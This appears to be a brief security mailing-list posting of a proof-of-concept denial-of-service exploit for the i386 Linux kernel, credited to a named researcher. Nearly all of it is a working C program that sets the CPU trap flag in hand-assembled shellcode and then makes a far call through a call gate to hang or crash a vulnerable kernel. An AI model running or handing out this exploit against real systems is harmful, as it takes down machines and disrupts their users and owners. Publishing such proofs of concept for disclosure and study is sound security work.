i386 Linux kernel DoS

[Christophe Devine <devine () iie cnam fr>]

/* USE AT YOUR OWN RISK ! */

int main( void )
{
    char dos[] = "\x9C"                           /* pushfd       */
                 "\x58"                           /* pop eax      */
                 "\x0D\x00\x01\x00\x00"           /* or eax,100h  */
                 "\x50"                           /* push eax     */
                 "\x9D"                           /* popfd        */
                 "\x9A\x00\x00\x00\x00\x07\x00";  /* call 07h:00h */

    void (* f)( void );

    f = (void *) dos; (* f)();

    return 1;
}